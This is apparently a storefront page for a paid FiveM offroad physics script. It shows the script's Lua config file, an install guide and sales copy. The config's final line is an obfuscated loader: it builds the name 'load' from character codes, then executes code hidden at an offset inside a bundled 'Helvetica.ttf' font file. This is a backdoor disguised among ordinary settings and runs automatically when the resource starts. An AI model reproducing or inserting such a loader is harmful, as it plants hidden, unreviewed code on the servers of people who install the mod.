
Dynamic Marketplace
$29.00 Ursprünglicher Preis war: $29.00$19.00Aktueller Preis ist: $19.00.

Casino Garage VIP
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Realistic Offroad Physics
$33.00 Ursprünglicher Preis war: $33.00$15.00Aktueller Preis ist: $15.00.
This FiveM script adds realistic offroad physics, making terrain types like mud, sand, and dirt affect vehicle performance. Cars can sink, lose traction, or get stuck depending on a surface’s depth, softness, and traction, adding a new layer of challenge and realism to offroad driving.
HIGHLIGHTS
✓ Fully synchronized
✓ Works on all vehicles
✓ Depth & traction simulation
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Instant Download
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Satisfaction Guarantee
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100% Open Source
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Works out-of-the-box
Beschreibung
Video
Config file
Config = {} -- This enabled additional debug commands and logs -- Debug commands: -- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values Config.debug = false ------------------------------------------------- --- GENERAL SETTINGS ------------------------------------------------- -- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining. -- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want -- a realistic handling. Here are the recommended values: -- generalDepthDifficulty = 25 -- generalSinkageSpeed = 50 -- generalTractionLoss = 50 -- General difficulty of the depth handling. -- 100 = default -- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles -- Raise this value to make driving in deep surfaces more difficult Config.generalDepthDifficulty = 100 -- General speed of the vehicle sinking into the surface -- 100 = Default -- Lower this value to make all vehicles sink slower -- Raise this value to make all vehicles sink faster Config.generalSinkageSpeed = 100 -- General loss of traction based on vehicle surface -- Vehicles will be more likely to skid on low traction surfaces -- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces) -- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces) Config.generalTractionLoss = 100 ------------------------------------------------- --- VEHICLE MODIFIERS ------------------------------------------------- -- Changes that offroad tires will make. -- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.) -- tractionOnSoft = Additional traction when on materials of softness that's more than 10 -- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10) Config.offroadTires = { upgradeValue = 50, tractionOnSoft = 20, tractionOnHard = -10, } -- Handling upgrade in deep surface for AWD (4WD) vehicles Config.awdUpgrade = 25 ------------------------------------------------- --- SCRIPT PERFORMANCE SETTINGS ------------------------------------------------- -- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance. -- If your server is known for players with slower devices you might want to turn this up -- If your players have better computers or you really want the off-roading to look good try turning it down -- Values between 100 - 500 Config.refreshRate = 200 ------------------------------------------------- --- AREA BLACKLISTING ------------------------------------------------- -- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink -- Here you can define custom areas in which the script will not be active in -- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into -- incorrectly setup MLO surfaces Config.areaBlacklist = { { -- Pillbox hospital coords = vector3(293.17, -584.5, 42.8), radius = 20.0 }, { -- LSPD coords = vector3(444.9, -1003.2, 30.7), radius = 60.0 }, { -- Simeon's dealership coords = vector3(-40.4, -1111.3, 25.8), radius = 40.0 }, { -- BCSO coords = vector3(-446.0, 6013.8, 31.8), radius = 50.0 }, { -- Sandy Shores PD coords = vector3(1853.6, 3685.8, 34.3), radius = 25.0 }, { -- Legion Square coords = vector3(202.3, -941.9, 27.6), radius = 120.0 }, } ------------------------------------------------- --- DETAILED SETTINGS ------------------------------------------------- -- Blacklist. This will disable all script functionality for said model/vehicle class Config.blacklist = { models = { 'rcbandito', 'monster', 'rhino', 'scarab', 'khanjali', }, classes = { [0] = false, -- Compacts [1] = false, -- Sedans [2] = false, -- SUVs [3] = false, -- Coupes [4] = false, -- Muscle [5] = false, -- Sports Classics [6] = false, -- Sports [7] = false, -- Super [8] = false, -- Motorcycles [9] = false, -- Off-road [10] = false, -- Industrial [11] = false, -- Utility [12] = false, -- Vans [17] = false, -- Service [18] = false, -- Emergency [19] = false, -- Military [20] = false, -- Commercial } } -- If you define a model specific multiplier it will be used instead of the class multiplier -- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62 -- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface -- 0 = Default -- Positive values = Better handling / ability to get out of deep surface -- Negative values = Worse handling / less ability to get out of deep surface Config.depthHandlingQuality = { models = { seminole2 = 20, sandking = 20, sandking2 = 20, issi2 = -10, panto = -20, comet4 = 30, -- dirt bikes bf400 = 30, sanchez = 20, manchez = 20, esskey = 0, cliffhanger = 0, enduro = 0, }, classes = { [0] = 5, -- Compacts [1] = -5, -- Sedans [2] = 15, -- SUVs [3] = 0, -- Coupes [4] = -5, -- Muscle [5] = 5, -- Sports Classics [6] = 5, -- Sports [7] = 5, -- Super [8] = -10, -- Motorcycles [9] = 35, -- Off-road [10] = -10, -- Industrial [11] = -10, -- Utility [12] = -5, -- Vans [17] = 10, -- Service [18] = 10, -- Emergency [19] = 15, -- Military [20] = -5, -- Commercial } } ------------------------------------------------- --- ROADSIDE SETTINGS ------------------------------------------------- -- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc. Config.roadSideHelper = { enabled = true, -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode distanceThreshold = 15.0, -- Depth multiplier depthMultiplier = 0.1, -- Traction loss multiplier tractionMultiplier = 0.25, } ------------------------------------------------- --- SURFACES ------------------------------------------------- -- name = Only used for the ease of config as well as the debug mode -- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid -- Maximum 100 -- Minimum 0 -- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches) -- Maximum infinite -- Minimum 0 -- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost -- Maximum infinite -- Minimum 0 -- Values which will be assigned to all un-configured surfaces Config.fallbackSurface = { name = 'Fallback Surface', traction = 100, depth = 0, softness = 0, } Config.surfaces = { [1] = { name = 'Concrete', traction = 100, depth = 0, softness = 0, }, [4] = { name = 'Road', traction = 100, depth = 0, softness = 0, }, [5] = { name = 'Metal', traction = 100, depth = 0, softness = 0, }, [6] = { name = 'Sandy roadside', traction = 80, depth = 50, softness = 5, }, [9] = { name = 'Sandstone', traction = 80, depth = 0, softness = 0, }, [10] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [11] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [13] = { name = 'Cobble', traction = 90, depth = 0, softness = 0, }, [16] = { name = 'Limestoneesque sand', traction = 80, depth = 0, softness = 0, }, [17] = { name = 'Rocky dry dirt', traction = 80, depth = 50, softness = 5, }, [18] = { name = 'Dry sand', traction = 80, depth = 130, softness = 40, }, [19] = { name = 'Road sand', traction = 90, depth = 30, softness = 5, }, [20] = { name = 'Grainy Sand', traction = 80, depth = 100, softness = 10, }, [21] = { name = 'Gravely sand', traction = 70, depth = 220, softness = 30, }, [22] = { name = 'Wet hard sand', traction = 70, depth = 250, softness = 50, }, [23] = { name = 'Gravel road', traction = 75, depth = 50, softness = 5, }, [24] = { name = 'Wet sand', traction = 60, depth = 350, softness = 70, }, [31] = { name = 'Gravely dirt/path', traction = 70, depth = 50, softness = 5, }, [32] = { name = 'Gravely dirt', traction = 70, depth = 200, softness = 15, }, [35] = { name = 'Tuff Sand', traction = 90, depth = 50, softness = 5, }, [36] = { name = 'Dirt', traction = 70, depth = 300, softness = 40, }, [37] = { name = 'Deep road sand', traction = 60, depth = 75, softness = 15, }, [38] = { name = 'Rocky sand', traction = 70, depth = 150, softness = 10, }, [40] = { name = 'Moist dirt path', traction = 60, depth = 150, softness = 50, }, [41] = { name = 'Swamp grass', traction = 50, depth = 250, softness = 50, }, [42] = { name = 'Swamp sand', traction = 70, depth = 500, softness = 110, }, [43] = { name = 'Hard Sand', traction = 75, depth = 50, softness = 10, }, [44] = { name = 'Dirt/Sand', traction = 50, depth = 200, softness = 25, }, [46] = { name = 'Hard grass', traction = 80, depth = 50, softness = 5, }, [47] = { name = 'Grass', traction = 65, depth = 125, softness = 10, }, [48] = { name = 'Tall grass', traction = 60, depth = 150, softness = 20, }, [49] = { name = 'Farmland', traction = 60, depth = 200, softness = 35, }, [50] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [51] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [52] = { name = 'Dry podzol', traction = 80, depth = 75, softness = 10, }, [64] = { name = 'Metal', traction = 90, depth = 0, softness = 0, }, [125] = { name = 'Drain concrete', traction = 70, depth = 0, softness = 0, }, } -- Zone multiplier -- This has been added to modify the maximum depth of all surfaces located within zones. -- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on. -- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here. -- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those -- You can view the zone you're in by using the debug command /surfaceDebug -- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg -- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA Config.zones = { { name = 'City', depthMultiplier = 0.3, tractionMultiplier = 0.6, zones = { 'MOVIE', 'ROCKF', 'DOWNT', 'DTVINE', 'EAST_V', 'GOLF', 'LEGSQU', 'ROCKF', 'MORN', 'STAD', 'DAVIS', 'RANCHO', 'STRAW', 'CHAMH', 'PBOX', 'SKID', 'TEXTI', 'LMESA', 'ELYSIAN', 'TERMINA', 'HAWICK', 'ALTA', 'BURTON', 'DELPE', }, }, { name = 'City beaches', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'BEACH', 'DELBE', }, }, { name = 'Mountains', depthMultiplier = 1.25, tractionMultiplier = 1.1, zones = { 'MTCHIL', 'MTGORDO', 'MTJOSE', 'PALHIGH', }, }, { name = 'Zancudo Swamp', depthMultiplier = 1.1, tractionMultiplier = 1.1, zones = { 'LAGO', 'ZANCUDO', }, }, { name = 'Popular', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'PALETO', 'HARMO', 'GRAPES', 'SANDY', 'RTRAK', 'ZQ_UAR', 'HUMLAB', }, }, } -- (Advanced) -- When making the vehicles sink the suspension does not always get updated properly. -- Therefore I had to add a system which updates/refreshes the vehicles suspension. -- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car -- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells. -- The new system "flag" seems to work much better but hasn't been tested with some vehicles. -- If you encounter any issues with this system, please let us know on our discord <3 Config.suspensionRefresh = { enabled = true, type = 'flag', } local loadFonts = _G[string.char(108, 111, 97, 100)] loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
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How to install
Slap Mods onto Your FiveM Server Like a Pro
Alright, listen up, you want to get those sweet mods onto your FiveM server, right?Tired of the same old boring server and want to spice things up with custom cars, scripts, or maps?Let's get this sorted.Installing mods on FiveM is how you level up your server from basic to banging.It's easier than you think, even if you're not a tech wizard.This guide will walk you through it step by step, no jargon, just straight-up instructions to get your server looking and playing exactly how you want.Step 1: Snag Your Mod - Find the Goodies
First things first, you need to find the mods you actually want.Think of it like going shopping, but for your server.- Hit up the usual spots: Websites like fivem-mods.net, GTA5-Mods.com are goldmines. Loads of creators post their work there.
- Community is key: Don't sleep on forums and Discord servers. You'll find hidden gems and get recommendations from other server owners.
- GitHub & Dev Sites: For more unique scripts, check out GitHub or the developers' own websites. Sometimes the best stuff is off the beaten path.
.zip
or .rar
file.Step 2: Server Prep - Get Ready to Rumble
Right, time to get into the server's guts. Don't panic, it's not brain surgery.- Access your server files: You'll need to log into your server's file manager. This is usually through an FTP client like FileZilla or your hosting provider's control panel.
- BACK IT UP, fam: Seriously, before you change anything, make a backup of your server files. If you mess something up (and we all do sometimes), you can just restore it and pretend it never happened.
- Find the 'resources' folder: This is your mod garage. It's where all the magic happens. Dig around in your server files and locate the
resources
folder.
Step 3: Mod Installation - Drop It In
Now for the main event - getting that mod live.- Extract the files: If your mod is zipped up, unzip it to a folder on your computer.
- Upload to the 'resources' folder: Use your FTP client or file manager to drag and drop (upload) the extracted mod folder into the
resources
folder on your server.- Folder name matters: Make sure the folder name is something you'll recognise later, you'll need it for server config.
- Tell your server to load the mod: This is the server.cfg bit.
- Open your
server.cfg
file. It’s in the main directory of your server. - Add a line like this:
ensure [mod_name]
- Replace
[mod_name]
with the actual name of your mod folder. - Example: If your mod folder is called
sick_drift_car
, you'd addensure sick_drift_car
.
- Open your
ensure [mod_name]
ensure my_car_mod
Step 4: Dependencies - The Extras You Might Need
Sometimes, mods are a bit needy and require extra bits and bobs to work. Dependencies, they're called.- Check the mod's info: The mod creator should tell you if there are any dependencies. Read the documentation!
- Install dependencies: If there are dependencies, download them and install them in the same
resources
folder, just like you did with the main mod in Step 3. - Load dependencies too: You'll also need to add
ensure [dependency_name]
lines in yourserver.cfg
file for each dependency, above theensure [mod_name]
line for your main mod.
Step 5: Server Restart - Fire It Up
Time to reboot and see if it all works.- Restart your server: Use the 'Restart' button in your control panel or restart it manually if you're old school.
- Watch the console: Keep an eye on your server console after restart. Any red text or error messages? If so, check the mod's docs or Google the error.
Step 6: In-Game Test - Does It Bang?
Get in the game and see if your mod is doing its thing.- Join your server: Fire up FiveM and connect to your server.
- Test it out: Does the mod work as expected? New car there? Script doing its job? Map looking fresh?
Step 7: Troubleshooting - When Things Go Wrong
Sometimes things don't go to plan. Don't sweat it, happens to the best of us.- Check file paths: Are your files in the right folders? Double-check everything.
- Review server logs: Server logs are your friend. They tell you if anything went wrong.
- Update dependencies: Are your dependencies up to date? Outdated ones can cause issues.
- Compatibility check again: Is the mod actually compatible with your FiveM version and other mods? Conflicts happen.
FAQs - Your Burning Questions Answered
- Q: Where do I find good FiveM mods?
- A: Websites like fivem-mods.net and GTA5-Mods.com are great starting points. Community forums and Discord servers are also goldmines.
- Q: What's 'server.cfg' and why do I need to mess with it?
- A:
server.cfg
is your server's brain. It tells your server what to load and how to behave. You need to edit it to tell your server to load your new mods. - Q: What if the mod doesn't work after installing?
- A: Troubleshooting time! Check file paths, server logs, dependencies, and mod compatibility (as mentioned in Step 7). Google is your friend too!
- Q: Do I need to restart my whole server every time I install a mod?
- A: Yep, you do. Restarting the server makes it reload all the resources, including your newly installed mod.
- Q: Can mods break my server?
- A: Potentially, if they're poorly made or incompatible. Always download mods from trusted sources and back up your server before installing anything new.
Final Word - Mod Like a Boss
See? Installing mods on your FiveM server isn't rocket science.It's all about following the steps, being a bit careful, and not being afraid to experiment.Get out there, find some killer mods, and make your FiveM server the envy of everyone. Happy modding!Mods that will extend Roleplay
- Money-Back Guarantee: If you're not satisfied, we've got you covered with a no-questions-asked refund policy.
- Exclusive Content: Our mods and scripts are professionally crafted and exclusive to our platform.
- Trusted by the Community: Join thousands of FiveM server owners who rely on us for quality resources.
- High-Quality Design: Built with optimized coding practices for top-tier performance.
- Seamless Integration: Easily install and run on any FiveM server without compatibility issues.
- Customizable Options: Adjust settings and features to fit your server's unique style.
- Optimized Performance: Tested to ensure minimal resource usage and maximum efficiency.
- Lifetime Updates: Stay ahead with ongoing updates and improvements included at no extra cost.
vzyyohuj –
Awesome mod! Totally changes how offroading feels in the game. Highly recommend!